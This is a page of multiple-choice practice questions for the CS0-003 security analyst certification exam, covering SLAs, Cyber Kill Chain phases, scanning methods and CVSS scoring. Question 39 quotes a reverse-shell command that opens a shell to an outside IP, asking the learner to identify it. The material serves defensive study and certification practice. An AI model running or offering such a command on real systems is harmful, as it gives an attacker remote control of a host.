CS0-003 Practice Test

CS0-003 Practice Test practice questions, page 8 of 26, with answer review and explanations.

Question 36

A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?

  1. SLA
  2. MOU
  3. NDA
  4. Limitation of liability

Question 37

Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?

  1. Command and control
  2. Actions on objectives
  3. Exploitation
  4. Delivery

Question 38

A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would best meet this requirement?

  1. External
  2. Agent-based
  3. Non-credentialed
  4. Credentialed

Question 39

A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l Which of the following is being attempted?

  1. RCE
  2. Reverse shell
  3. XSS
  4. SQL injection

Question 40

An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors would an analyst most likely communicate as the reason for this escalation?

  1. Scope
  2. Weaponization
  3. CVSS
  4. Asset value